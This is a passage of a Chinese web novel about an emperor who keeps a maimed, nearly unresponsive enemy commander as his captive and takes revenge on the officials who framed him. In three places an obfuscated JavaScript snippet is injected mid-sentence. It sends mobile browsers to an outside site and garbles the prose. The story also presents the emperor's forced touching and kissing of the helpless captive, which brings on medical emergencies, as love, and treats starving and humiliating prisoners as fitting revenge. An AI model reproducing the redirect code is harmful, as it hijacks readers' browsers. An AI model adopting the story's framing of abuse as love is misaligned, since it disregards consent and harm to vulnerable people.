“等我回来,我的睡美人司令官。” 13. 要是可以,齐绍洲真不想跟神经病说话。 但无奈,在郁危明离开寝宫时,他还是几步追了上去。 他的医学团队最近刚对顾远泽进行了第二阶段的深入治疗。发现顾远泽呈现如今这样的木僵状态,除精神原因之外,也与他入狱期间被迫注射的一些药物残留有关。 “所以,等那类药物彻底清除,司令官应该有机会恢复一定的意识和反应。” “差不多十天左右,就在陛下您回来的时候。” “……” 刚听到顾远泽有可能恢复的消息时,郁危明当然是愉悦的。 可在战舰上冷静了几日后,他又默默阴沉下来—— 毕竟,新皇近期对未来生活的设想,一直都是在结束一整天繁忙而头痛的政务后,能回到寝宫,见到他早已精神崩溃的爱人。 只属于他一个人的人偶,会在纱帐的床上蒙着眼睛、戴着口钳,只等他一个人的到来。 会难耐地对他露出迷乱的渴求,求他来解放他。 就这样长日漫漫。 他的幸福,就是神明永远依附他、沉溺欲海,靠他每天供给的沉沦极乐存活。 …… 郁危明当晚又没睡着。 半夜起来,一个人在“阿肯那顿”帝国旗舰的指挥室里,望着窗外黑沉沉的浩渺宇宙、无尽星辰。 按说既然已经沉沦于司令官彻底坏掉的妄想,就不该再想起司令官曾经的荣光。 但无奈,他现在所在的地方,正是旗舰的主控制室。 这里正是他人生中第一次见到顾远泽的地方。 六年前,第二次天穹要塞攻防战陷入白热化。他就是坐在现在这个舰长的位置上,主动向顾远泽发起了视讯。 那时的顾远泽还不是联邦最高的军事长官。 但已是郁危明心中唯一认可的宿敌。 于是皇太子自然而然地,对他表示了帝国最高礼节的重视——正襟危坐,银色的长发一丝不苟地束起,金色的绶带分毫不差地垂在胸前,连帝国最严苛的仪仗官都挑不出毛病。 就连身后的将领、参谋官们,也个个身着正装、屏息凝神。 可视讯接通后,荧幕另一端所显示的画面,却只有青年坐在一张堆满文件、杂乱的桌子前。 甚至顾远泽手里还捧着个肉包,本该瘦削的脸塞得鼓鼓的:“您说”。 联邦最年轻的舰队司令官、万人敬仰的战争英雄,竟是一个黑发黑眼,看起来没什么军人气质的俊朗青年。 连续数天的紧张战事,他也没什么时间吃睡。 于是就这么顶着憔悴的黑眼圈,在接帝国皇太子视讯时,争分夺秒地吃饭。 14. 这简直是对帝国的大不敬。 身后的侍卫官几乎要发作,却被皇太子伸手制止。 “顾远泽舰长,”皇太子狭长的灰眸冰冷眯起,“看来联系您的时间不太巧,打扰了您的午餐。” 顾远泽听他这么说,含糊地“嗯”了一声。 吃肉包速度明显快了很多,又一仰头闷掉了手边的咖啡,努力露出一个近乎歉意的微笑: “不,殿下,时间刚好。再晚一点,我就去午睡了。” 郁危明:“……” 那天的视讯,双方当然没有达成任何一致。 郁危明锋芒毕露地通知他的宿敌,帝国舰队已经三倍火力包围了天穹要塞的出口。 联邦已无力回天。他希望年轻舰长能看清形势、珍惜生命,不要做无谓的牺牲,赶紧收拾收拾投降。 结果司令官不仅没被他吓到,还有些困惑地挠了挠头,黑眸无比谦虚真诚: “不,殿下。如果真的想要避免不必要伤亡,还是请您赶紧令帝国军撤退吧。” 视讯挂断后,帝国军对顾远泽的狂妄简直义愤填膺。 眼下帝国军完全包围联邦要塞,在舰队数量碾压、机动性也占优的情况下,联邦怎么可能翻盘? …… 可最后那场战争,确实是以帝国的惨败结束了。 就连郁危明那张引以为傲的俊美的脸上都多了一道狰狞的伤疤。 虽然以帝国的技术,这种程度的伤痕是完全可以不留痕迹祛除的。 但郁危明一连几个月都故意没去弄,就这么顶着长长的伤疤,只为铭记被联邦司令官狠狠碾压的屈辱。 之后几年,皇太子反复观看顾远泽指挥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612246|172173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的每一场军事录像,秘密组建专门研究联邦司令官战术的参谋小组,战略分析局研究写成的《顾远泽战例分析》更是他常年的睡前读物。 可在这样的卧薪尝胆后,他还是不知道多少次,被顾远泽用五花八门的奇诡战术打得狼狈至极。 甚至有好几次,都差点被干掉了。 最后不得不使用一些肮脏的手段,比如贿赂联邦上层、或者是卑鄙地用平民的性命做威胁,才成功逼迫对方撤军。 还有一次,甚至是因为顾远泽的战舰装备太烂,在就要给他致命一击的时候熄火了,他才逃过一劫。 战无不胜的帝国皇太子一辈子没有在宿敌手里讨到半次胜利,最后为了维持“帝国颜面”,还被逼着去掉了疤痕。 躺在手术台的时候,郁危明心里无比嘲讽。 皇太子后续仍旧没有放弃睚眦必报,最终拼着四次重伤濒死,轰坏了顾远泽的一条腿。 勉强成就了他对联邦司令官的最高战绩。 15. 当然那几年里,帝国上下也不是没有过给出过高官厚禄,想要直接将顾远泽招降。 然而,顾远泽司令官目测对联邦忠诚无比,连帝国元帅都不愿意当。 很久以后郁危明才明白,顾远泽只是单纯地“不想当元帅”。 如果那时帝国给他许诺的不是那么高的官职,而是一栋二层小楼、一辆不贵的车,一份中产水平说得过去的薪水。 然后再把他塞进帝国哪颗农业卫星的小麦种植基地当研究员,特批他一个能随便蒸馒头烤面包的酵母实验室。 顾司令官说不定是会立刻欣然答应的。 在帝国与联邦的漫长十年战争,一心只想过日子的平民顾远泽,本来就只是被卷入其中。 既然被迫肩负了无可无违抗的责任,司令官也就只能尽最大的能力,对他的故土和人民进行了尽职尽责的守护。 但在此之外,顾远泽本质上完全不相信任何政治理想或政治秩序。 他厌烦那些脑满肠肥的官员们的无聊争斗。更无意在上层权贵钻营算计、贪欲堆砌的可笑战场冲锋陷阵,充当被愚弄的棋子和炮灰。 因此才会屡屡申请退伍。 他就只想种麦子,过普普通通的人生。 “……” 郁危明闭上眼睛,略微想了一下。 一座满是金色麦浪的农业卫星,黑发的司令官成了小麦科学家。或许戴着一副研究眼镜,正在吃刚烤好的、香喷喷的松仁小麦面包,吃得脸颊鼓鼓。 那种场景是不是……其实也挺有趣? 新皇微微眯起眼睛,他不知道。 他现在很矛盾。 一边,他完全满意这个坏掉浑噩的,能任他一辈子拥吻、抚慰和圈养,一同沉沦玫瑰欲念,永远是他所有物的乖巧司令官。 可另一边,他又有点想再见见……当初那个鲜活的、初见时的司令官。 那个有着好看的黑色眼睛,聪明真诚,懒散又爱笑,会大口大口地吃肉包的青年。 抱着坏掉的顾远泽已经很享受了。 而如果抱着活生生的司令官入睡,又会是什么样的感觉? 5. 第 5 章 16. 郁危明下船的地点,是曾经的联邦首都阿尔忒弥斯。 当然这里现在已经更名,成了帝国的“新月神殖民州”。 防弹轿车的车窗滤去了晨光,将外界染成一种冰冷的金属色调。郁危明靠在真皮后座,银发在暗处泛着霜雪的微光。 "绕行中央广场和新旧城区。"他对司机说。 车子载着皇帝,到处逛了一圈。 窗外,帝国的鸢尾旗取代了联邦的三色旗在断壁残垣间猎猎作响。裸露的砖石和扭曲的钢筋诉说着战争的惨烈, “自由、民主、平等” 的标语被覆盖,取而代之的是 “效忠新皇”与“帝国荣光永存”。 就连未被轰炸的商业区,曾经繁华的咖啡馆、橱窗也已铁门紧闭。有些蒙了厚厚的灰尘,有些则贴着 “帝国征用” 的告示,一些未炸毁的高楼大厦上,帝国的鸢尾已在闪闪发光。 街边,衣衫褴褛的愁苦民众排起了长队,不知是在领什么救济。一些帝国士兵手持能量枪,粗暴地推搡着动作稍慢的人。 ……呵,活该。 郁危明冷笑。 新皇虽是第一次踏足联邦首都,却曾无数次在新闻上看到过这座都城曾经的样子。 有顾司令官将帝国军始终挡在天穹之外,联邦本土一直不曾沦为战场。因而在十年战争的泥潭里,阿尔忒弥斯仍旧繁荣。 人们能安然地购物、学习、生活。 甚至去周边城镇旅游。 可渐渐的,来之不易的和平竟成为了理所当然。人们不再崇拜和感恩英雄,反而质疑的声音越来越响亮—— “既然顾远泽每次都能轻松赢过帝国皇太子,为什么我们联邦的舰队不干脆打进帝国本土?” “云舟舰队为何永远只防守避战,却从不敢主动出击?” 很快,有人翻出了顾远泽念书时“后勤兵不用上战场”的懒散言论,以及做舰长时“舰队唯一的存在意义就是守住天穹要塞,进攻帝国根本不现实”的说法,指责他不思进取、消极避战。 不满和猜疑很快就变成了疯狂构陷。 人们似乎总是喜欢这样,自顾自造神,又自顾自失望。闹剧在顾远泽“叛国罪”成立时达到高|潮,审判庭外,无数人举着"绞死叛徒"的标语喧闹狂欢。 新闻镜头扫过老人、年轻的士兵、孩童甚至野狗。 他们怒吼、哭喊:"我的哥哥死在天穹要塞,都是顾远泽的错!"“一定是顾远泽背叛了联邦,私底下与帝国苟合,战争才会一直不结束!” 更有离谱的传闻,说云舟舰队私藏千吨黄金。 种种传言甚嚣尘上。人们被蒙蔽,被煽动,最终合力将帝国十年都无法攻破的铜墙铁壁从内部拆毁,愚蠢得令人作呕。 17. 而现在,所有人都后悔了。 顾远泽刚刚“死去”,帝国军就长驱直入,踏上联邦本土。 在无情的战火和炮弹下,联邦舆论短短一个月内彻底反转。民众从痛恨顾远泽、到被打得懵掉、再到幡然醒悟,三部曲无比丝滑。 游行和抗议再度满街都是。 这次却是要求政府停止构陷、释放战争英雄顾远泽。无数人自发地奔走呼号,为司令官澄清污名。大家去当年顾远泽授勋的广场守夜,发视频哭着向英雄道歉,还自发在公园为顾远泽立起塑像。 但一切都迟了。 顾远泽永远也回不来了。 民众的愧疚很快变为愤怒,参与叛国案审判的法官和议员们,陆续遭受各种袭击。 天道好轮回,一切还是于事无补。 …… 在阿尔忒弥斯成为新月殖民州后,帝国不断加重苛政与赋税。 胜利者根本不在意战败国的血泪。反正联邦民众现在所面的一切,也是他们自己求来的。 雪崩时没有一片雪花无辜。 或许,那些失去家人、短少食物、每天忏悔道歉痛哭流涕的联邦平民中,也有不曾参与过构陷的无辜者。但事到如今,谁也无法独善其身。 联邦的英雄顾远泽死了,所有人都是共业。 郁危明真心觉得,“死掉”对顾远泽司令官来说,正是最好的解脱。 平民司令官终于可以卸下一切沉重的枷锁,什么都不再去管。 不用再殚精竭虑思考联邦的前途命运,不用再和虚伪的政客官员们敷衍周旋。更不必继续一己之力抗下本不该他负担的沉重责任,去一次次救人于水火。 顾远泽终于可以安然躺在满是花香温床里,长久酣睡。 重获平静与自由。 18. 郁危明只在新月州待了两天,参加完典礼就迫不及待回程。 他实在想家。 满脑子想着的都是早点重新拥抱司令官,抚摸那滑腻的蜜色肌肤,偷偷咬两口。 “……” 但同时郁危明也很清楚,他对顾远泽的感情,充其量不过是一些晦涩的欲念。谈不上任何高尚的东西。 只是这欲念实在过于强烈。 以至于这漫长十来天的时间里,他最后悔的事就是没有随身携带一件沾有司令官气息的衣服,好在失眠时能蹂躏着那衣服度过漫漫长夜。 登舰前,郁危明还特意从联邦抓了几十只老鼠。 “詹恩检察官,罗议员,鲁拉州长,魏上校,还有……” 在“阿肯那顿”深红的皇座上,新皇漂亮的灰眼睛居高临下、愉悦地看着那帮两股战战,伏跪发抖的联邦官员。 真有趣啊。 这里面的不少人,明明在参加顾远泽案的庭审时,都还是脑满肠肥的胖子呢。怎么这才过了几个月战败后的生活,有好几个都焦虑成了瘦子呢? 每一个被他带上战舰的人,眼里都满怀恐惧和绝望。 明明他们都已经散尽家财买了路子,马上就要在帝国拿到公民身份、重头开始了。 曙光就在眼前,可又到底哪里得罪了新皇? …… 郁危明向来没什么人道主义精神。 转头就把几十人全部关进了战舰底层最狭小的单人监狱。 监狱里没别的,就一块屏幕。 屏幕里一遍一遍重复播放着半年前顾远泽叛国罪的庭审记录,和所有人彼时得意忘形的嘴脸、上蹿下跳构陷时的表演。 "被告顾司令官,你被指控在三次''天穹防线''战役中贻误战机,又在第四次战役修改跃迁坐标、放弃战略要地!你有什么话说?" "都是狡辩!他就是故意放跑了郁危明!叛徒,帝国的走狗!" "顾远泽早在军事学院时期,就曾多次表现出对帝国体制的同情。他还阅读帝国的军事理论著作!" "背叛者必须接受严惩!!” “……” 几个月前还在庭审上蛇鼠一窝的高官们,现在却个个在狭窄的监狱里面如菜色、浑身发抖。 牢里没有卫生间,没有洗浴,只有视频不断播放。 晚上众人饥肠辘辘,晚饭却只有区区几人份。 很快,高高在上的“体面人”们开始彼此谩骂、指责、撕扯、攻讦,野狗一样地争食。 血水、哀嚎、哭泣、求饶不绝于耳。不出两天,牢狱里就臭气熏天、遍布绝望疯嚎。 郁危明可不会让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612247|172173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们轻易就疯了或者死了。 新帝好整以暇,托着腮,眼里闪着诡异的光。 他在努力想些有趣的点子。 比如……正好帝国还有几个建造失败、气温严寒的荒废卫星,不如把这些人送上去废物利用? 就让他们在狗都嫌弃的冰天雪地里每天好好劳作…… 嗯,种什么作物呢? 郁危明不太懂农业,但他依稀印象中,顾远泽的农业论文里好像写过某种清甜的珍贵水果,就长在冰天雪地的湖底淤泥里。 那果子无法机器采摘,至今需要人工去冰湖里摸。 瞧,多懂事的水果。 太适合这群人一辈子在冰雪卫星上好好种植了。 19. 郁危明下船后迫不及待回到花房。 这一日下了雨,花房玻璃之下全是雨幕,很美。 “我回来了,司令官。” 新皇跪在床边,漂亮的银发散落床铺和地面。脸颊贴那蜜色、微弱跳动的胸膛上,闭目无比满足。 “顾远泽,”他喃喃,“我好想你。” 还有一句话,新皇抿唇不想说。 可默默压抑了片刻,却又无法克制心底强烈至极的冲动。高傲的新皇垂下灰眸,觉得十分荒谬。 “……” “顾远泽,我爱你。” 这话真是毫无道理,他不爱任何人。 疯狂的血脉只有欲念,承载不了比这高尚的感情。 可偏偏无比虔诚的爱意,就这么与理性背道而驰地宣之于口。 身体更是迫不及待扑上去吻。 直到吻得气喘吁吁,将那残破的身体整个搂进怀里、摁在心口,郁危明才闭目深深喘息。 回程的第三天,牢里那些痛哭流涕、绝望崩溃的议员们,又忏悔着向新皇交出了很多东西。 珍宝,黄金,联邦尚未沦陷区的军事地图,甚至核密码……还有一些视频。 画面晃动的黑沉监狱里,司令官的目光绝望而涣散,头和仅剩的一只手垂下去,残破的身体濒死痉挛。 心脏骤停,瞳孔放大,司令官那时明明已经死了。 可那些人却又用电|击枪一次一次打击他伤痕累累的残躯,让他的心脏被迫绝望无比地再度跳动。 “……” 雨渐渐小了。 郁危明蹭了蹭床上人憔悴安静的睡脸。 滚热的掌心下移,轻轻熨帖在司令官略微凹陷的上腹。 整整一个月,顾远泽都无法自主进食,只能用营养液吊命。不知道醒来以后会不会痛。 视频里,伤痕累累的司令官常痛苦地蜷缩着,在黑沉的牢笼里,抵着多天没有进食的胃部颤抖痉挛…… 郁危明闭上眼睛,深深吸了几口气。 齐绍洲说,就在这两天了,顾远泽就会醒来。 郁危明忍不住凑近他,低声喃喃:“清醒的司令官如果看到我给那些背叛者设计的下场,会觉得解气吗?” “还是,只会觉我疯了?” 他不知道。半晌,扭曲低沉地笑出了声。 “但无论如何,你已经是我的所有物。” “就算讨厌,也始终只能属于我……” 他垂眸,再度放任自己陷入癫狂,手指陷入蜜色的奶油肌肤。 却只是缱绻温柔的揉抚,从他的断肢,伤痕,到凹陷的上腹,和肌肉下微微跳动痉挛的脏器…… 他就这么用温暖的掌心,一点点用心抚慰顾远泽曾经痛过的地方。 “我爱你,司令官。” “别怕,醒来我会保护你,一定不会让你再痛。” 6. 第 6 章 20. 回到帝国的当晚,郁危明搂着司令官入眠,在花房淡淡的月光下做了个的梦。 其实也不完全是梦。 梦里的场景,他曾在很久以前的一个视频里看过。 那是一个篝火的夜晚。 联邦的导航员姑娘抱着膝盖,制服的肩章还闪着新授衔的光泽;通讯官和战术参谋们则在火堆旁嬉笑打闹,时不时就有人咧着嘴跑到司令官身边寻求庇护。 晚风拂着黑发,火光和星辉映着司令官棱角分明的侧脸。 他垂眸,修长的手指随意拨弄起吉他,简单的和弦在指下流淌而出。 身侧的年轻军官们都渐渐停下了动作,一个个目不转睛听着司令官弹唱。 一张张年轻、朝气蓬勃的脸,澄澈的目光望向司令官,都满是倾慕与信赖。 偶尔,顾远泽亦会抬眼。他的黑瞳里有星辰的碎光,嘴角亦扬起浅淡却真实的笑。 天穹要塞。 这座悬浮于小行星带边缘的冰冷钢铁堡垒,顾远泽和他的云舟舰队在此驻扎了六年。 大家齐心协力,渐渐把这个只能与陆地遥遥相望、孤寂而荒凉的要塞,打磨出了家的温度。 在云舟,顾远泽是当之无愧的大家长、精神领袖,亦是舰队全员心中最明亮的航行灯塔。 …… 清晨,郁危明醒来,兀自盯了一会儿玻璃花房的天花板,冷笑出声。 梦里那些黏在顾远泽身上的视线,让新皇烦躁地攥紧了床单。 可想而知战无不胜、年轻英俊的司令官,在舰队里的时光,曾被多少人倾慕和垂涎。 尤其一些早在六年前就已经坚定追随在了他身边的人。每天朝夕相处、并肩作战。恐怕早已是互相交付生命、无上信赖的存在。 呵。 他对他们笑。可同样的六年里,司令官对于皇太子是什么态度? 郁危明发去的消息,他全部已读不回! 连一个标点符号都吝啬给予!!! 21. 郁危明一大清早心情恶劣。 而他一恶劣,就忍不住想疯狂搞事情。 帝国每日议会上,新皇默默有一下没一下地敲击着鎏金扶手,正盘算着拿谁开刀。 没想到竟有不长眼的蠢货主动撞到枪口上。 议会之上,老迈的奥德森伯爵老脸通红、义愤填膺:“陛下,那可是敌将!手上沾了不知多少帝国将士鲜血的刽子手,他凭什么享受皇家医疗?” 大殿里鸦雀无声,唯有郁危明勾起唇角。 世上没有不透风的墙,只不过一个月前,传闻还是“陛下在寝宫里饲养了珍贵猛兽”。“荒淫的陛下不仅与野兽共枕,还和野兽翻云覆雨、不知天地为何物……” 但反正郁氏皇族□□,早不是什么新鲜事了。 聪明些的贵族们除了感叹疯皇的变态口味之外,日常依旧体面微笑、彼此相安无事。 直到一个月后,有人开始传那“珍兽”其实是断手断脚、精神失常的联邦司令官顾远泽。 一时间,素来抱团的贵族集团内部竟产生了分歧。 不愿掺和这事的多数派,依旧觉得没必要跳出来多管闲事。毕竟,不管床上睡的是人是兽,终究不过是新皇一个无伤大雅的“小爱好”而已。 他们又何必连这些破事都要指手画脚。就不怕把疯子逼急了,他也突然像二十年前的先帝一样,处处跟他们对着干? ——怎奈,偏就有些蠢货自以为是、非要触霉头。 新皇也果然如大多贵族所料,没对奥德森伯爵与其同党客气。 刚好铁血宰相瓦妮莎的女儿娜塔莉正愁一直找不到机会立威。仅仅两三天时间,血蔷薇的手下特务机构就罗织好了种种罪名,让那些强出头的小贵族们全部倒了大霉。 大贵族们则不仅没有出手相助,反而幸灾乐祸。 良言劝不住该死的鬼,他们都告诫过了那些人不要招惹疯子,看吧? 整个过程里,郁危明坐在幕后巧妙地掌控情绪、操纵着贵族集团间的鄙视链。 就这么不着痕迹将无数小的毒瘤尽数拔除。 没人看穿这不过是一场精心设计的清洗。所有人都以为新皇只是荒淫,为了床上那点事冲冠一怒。 可见祖传的烂透人设,有时候也还……挺好用。 22. 新皇搞完这一系列事情后,听闻顾远泽醒了。 郁危明:“……” 阳光如融化的黄金倾泻进玻璃花房,给每一片花瓣都镀上璀璨的流光。郁危明发现自己十分可笑—— 他竟还特意去换了一身正装,银色发梢垂落在肩章,与金线刺绣纠缠在一起。 可明明齐绍洲告诉过他,司令官就算醒了,目前也是个瞎子、半聋。嗓子也因在狱中受虐而撕裂,暂时说不出话。 这些伤都可以养,或是后续通过手术方式治愈。 只是眼下顾远泽的身体和精神状态,还达不到手术条件…… 郁危明不仅为瞎子换了礼服,从花房门口到纱床短短的小路,还给司令官剪下了一大束带露水的玫瑰。 花茎的凉意让他意识到自己掌心出了很多汗……更可笑了。明明这里是他的宫殿,床上是他的囚徒和战利品。 他又何必像个闯入禁地的窃贼。脚步很轻,连呼吸都不自觉放慢。 纱帘微动。 床上的神明微微睁着空洞涣散的黑瞳。阳光透过玻璃顶照在他的睫上,两片阴影轻微颤动。 明明知道,顾远泽看不见。 可当那双没有光亮的眼睛依旧映出新皇的身影——扭曲,变形,却无比清晰,一阵电流战栗还是沿着脊椎狠狠窜上全身。 身体不假思考,就已单膝跪在了神明脚边。 残存的理智里,是御医齐绍洲苦口婆心叮嘱。 “司令官未必真的全面精神崩溃,之前的木僵状态很可能只是遭受虐待加上过量的药物注射,短暂让其进入了自我保护的失神。” “失神的人就像是沉在深海。对外界所有一切的感知都隔着厚重的水幕。” “因此之前才会任由摆布,咳……” “但这次醒来后,司令官解除失神状态,精神会脆弱得像一张绷到极限的弹簧,任何风吹草动的刺激,都有可能彻底断掉。" “另外,他现在的听觉会异常敏感。” “音量超过40分贝就会诱发耳鸣、眩晕和重大的生理不适。请务必当心。” 23 新皇最初很遵医嘱。 对着黑发的神明,他目光温柔、声音很轻:"早安,司令官。" 就连伸出手去,都没敢直接碰触。 新皇的指尖只轻轻碰触了顾远泽额前的碎发。司令官的头发近来长了,海风湿润,把黑色的发丝弄得柔软冰凉,像是一捧被霜打湿的鸦羽。 可就在那手指悄悄偏移方向,稍稍往耳际移动了一寸时—— 司令官的身体突然绷直。 呼吸骤然急促,额角渗出细密的冷汗。喉结上下滚动,像是在吞咽某种无形的恐惧。 “……”手指于是就停在了那里。 郁危明温柔耐心,等待着许可,一直等到悬空的手举得发酸。才又用最为低沉、温柔、迷恋的声音,喊了一遍神明的名字:“顾远泽?” “别怕,我不会伤害你。” “……” “我能,摸摸你吗?” 良久,没有回应。 【司令官毕竟承受过极大精神创伤。所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612248|172173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚醒来时,或许连正常的言语沟通都暂时无法理解。】 【我的建议是,在获取信任前,最好不进行任何身体碰触。】 【除非陛下想让他崩溃、坏掉。】 【甚至我觉得,如果殿下存在的本身就会给司令官带来巨大的精神负担,您在一段时间内……还要回避与司令官见面。】 郁危明的面色一点点阴沉下去。 什么蠢话。 还振振有词地说什么联邦司令官但凡恢复一点神智,都绝对无法接受自己被作为礼物被送到了帝国皇帝床上。建议回避,是为了司令官不再遭受毁灭性的精神打击。 呵。 郁危明略微古怪地笑了一声。 24 齐绍洲进到花房就看到了惊悚一幕。 明明上一秒,郁危明还极为克制而温柔地,只敢摸一摸床上人的头发丝。 可下一秒就突发恶疾,突然俯身,以一种近乎扑食的姿态将顾远泽直接人整个圈进怀里。不仅如此,还把脸深深埋进司令官的颈窝,用腰腹贪婪地蹭他。 银白的长发垂落,与顾远泽乌黑的发丝疯狂交缠。 低沉的喃喃仿佛魔咒。 “顾远泽,顾远泽,不要怕我。” “我爱你,只抱抱你,不会伤害你的,嗯?” “你看,只是这样而已。被我抱着很舒服,你也不讨厌被我抱的,对不对?” 仪器蜂鸣撕裂寂静。 屏幕上顾远泽的心率线在被疯皇拥抱的瞬间就如过山车般地飙升,又在下一秒断崖式下坠,几乎拉成一条直线。 "放手!"齐绍洲赶紧上前一把推开疯子皇帝。随行护士则递来针剂,针尖刺入静脉的瞬间,顾远泽的身体狠狠抽搐了一下。无色的唇微微分开,呼吸困难。 "呼吸机!"齐绍洲又赶紧捏开顾远泽的下颌,将面罩扣上去。透明面罩很快被白雾覆盖,又迅速消散。 监测仪的警报终于停了,房间里只剩下交错的呼吸声。 齐绍洲对皇帝怒目而视:“你看看你干的好事!说了不要碰他、不要碰他!” “嘘。”郁危明道,“他怕吵。” 齐绍洲简直一口气没上来。 他努力压低声音,双目喷火:“所以他怕吵你记住了,怕摸你就选择性遗忘是吗?” “嗯。”郁危明点点头,“我做不到不碰他。” “……” “死心吧,我之后还会一直拥抱他。” “是,他现在刚醒,厌恶抗拒一切碰触,但没关系。只要我多抱他几次……好好抚慰,让他习惯,他就算再抗拒或崩溃,也会慢慢脱敏!” “你放心。他会接纳我的。” “我能给他真正的抚慰、享受、安全感。总有一天他食髓知味,会再也离不开我的抚慰。” “我会让他依赖、享受,之后每一天都要被我好好照顾才能入眠。” “……” “……” 皇帝说这些疯话时,甚至噙着微笑。 太癫了。 “陛下就不怕过程中司令官刺激过度、精神崩溃,再也无法恢复?” “他不会。” 郁危明摇头,长睫下眸光晦暗不明。 “因为他是顾远泽。” 齐绍洲:“是,曾经的联邦舰队司令官顾远泽是很……但他现在的精神状态——” “绍洲,”郁危明定定抬眸,“你不了解司令官。” “顾远泽一路走来承受了那么多,他比谁都坚强。司令官没那么容易坏掉,我相信他。他的精神状态再差,也不至于承受不了爱人的拥抱。” 齐绍洲:“……” 所以现在陛下的病情,已经发展到胡言乱语、自称爱人的地步了吗? 7. 第 7 章 25. 之后几天,齐绍洲劝阻无效,只能眼睁睁看郁危明一意孤行,在司令官身上实验“脱敏疗法”。 新皇每天醒来以后的唯一行为,就是疯狗一样凑到司令官身边。 盯着,甚至去嗅,长长的银发散落满床。 然后突然就会伸手抱上去。 刺耳的警报声不知道多少次响彻花房。无数次齐绍洲闯进去,看到的都是郁危明把人抵在胸口,喘息着尝试亲吻他的唇。 就像是着了什么魔一样。 仿佛他听不到耳边仪器的蜂鸣,看不到怀里人的心率跌落谷底。甚至在司令官濒临窒息的情况下,还在试图用唇撬开他的口齿,甚至用手指让他无比紧绷僵硬的身体纾解? 这是人能做出来的事? 接连着多次抢救下来,齐绍洲实在出离愤怒。 "陛下,您就不能稍微有点人性,为司令官想一想——他现在动不了、说不出话,说不定心里有多恐惧多绝望,说不定灵魂每一秒都都在尖叫!” “您真的知道你的强行接触,对这种状态下的他而言是多大的负担吗?” “您看到过他被您拥抱时的脑电图吗?前额叶皮层完全宕机,杏仁核一直过载!您知道这对在悬崖边缘的病人来说意味着什么吗?” “你这么做,只是在一遍一遍精神上重复创伤他!” “都几天了,不断地重复把他弄到心脏衰竭还不够吗?还要实验多久?不可能每一次急救都有效的,说不定哪一回就彻底救不回来了!” “您真希望司令官永远救不回来吗?” 窗外,大雨瞬间倾盆。 闪电劈过,明灭的白光照着新皇苍白的脸。郁危明垂眸,薄唇动了动,难得没有再发疯争辩。 新皇冒雨出去,一天不见踪影。 回来时已是夜晚,很有些失魂落魄。银白的长发上还沾着未干的血迹,在昏暗的灯光下泛着暗红的色泽。 齐绍洲吓了一跳,好在那不是郁危明自己的血。 娜塔莉和路维希则双双满眼兴奋,他们把齐绍洲拉到一边,给他科普这几天外头的新动向。前几天新月殖民州又爆发了叛乱,而在尚未沦陷的联邦城市里也到处都是以顾远泽为精神领袖的抵抗势力,昨天还狠狠偷袭了帝国军。 因此今日议会,有贵族再度借题发挥、向新皇发难。 娜塔莉笑眯眯:“不过呢,结果你也看到了。” 新皇大发癫,当场抽刀砍人。 血溅议会却无人敢言。 26. 路维希:“历史已无数次证明,任何形势下权力的博弈,都要在一次次的精心的试探下才能达到平衡。” 眼下新皇登基不到一年,帝国的新权力平衡仍在构建中。 而目前的博弈结果,娜塔莉和路维希是基本满意的。 原来那些根深蒂固、无比强势的帝国贵族,也并非无可撼动。原来那些人直面一个随时发癫的疯子皇帝,也一样会欺软怕硬、犹豫不决。甚至宁可在自欺欺人的"陛下又犯病了"与“何必一定要惹他”的摇头叹气中,默默又退一步。 娜塔莉:“呵,当我们的父母与先帝在三十年前披肝沥胆推行新政时,怕是做梦都不会想到——他们耗尽毕生心血都难以撬动的顽固堡垒,如今却被新皇拿着疯癫的乱刀,轻易就劈开了裂缝。” 路维希点头:“疯癫治国少见,但确有一套。” 娜塔莉:“是啊,疯子想要对付谁,既不需要给出必然的逻辑,亦不会形成系统性清洗的集体恐慌。反而可以在那群人眼皮子底下轻易达成政治目的,陛下好手段。” 两人相视而笑。 分明在他们看来,郁危明近期种种公开的发癫行为,都是精心算计的帝王权术。 但关于这点,齐绍洲却是不确定的! 他总觉得,娜塔莉和路维希只是没有亲眼看到过花房里的郁危明。如果他们看过,只怕也会觉得陛下就只是单纯的癫。 好在,那天被他劈头盖脸狠狠骂过以后,郁危明总算消停了两天。 这几天的新皇,都只是有些萎靡地靠在司令官的床旁。 高挑的身子半蜷着,银白长发也没心思打理,乱七八糟地散在地上,就这么无声无息地守着。 偶尔,也会百无聊赖地揪着床尾的流苏穗子玩,每揪几下,都忍不住偷瞄一眼司令官。 心心念念,却忍住了没有碰。 甚至有一晚顾远泽在睡梦中突然发热呻吟,郁危明睡在他床侧的小榻上,立刻就醒了。虽然很着急也下意识想要抚慰,却仍在最后一刻生生收住了手。 最后无比正常地叫来了医护。 27. 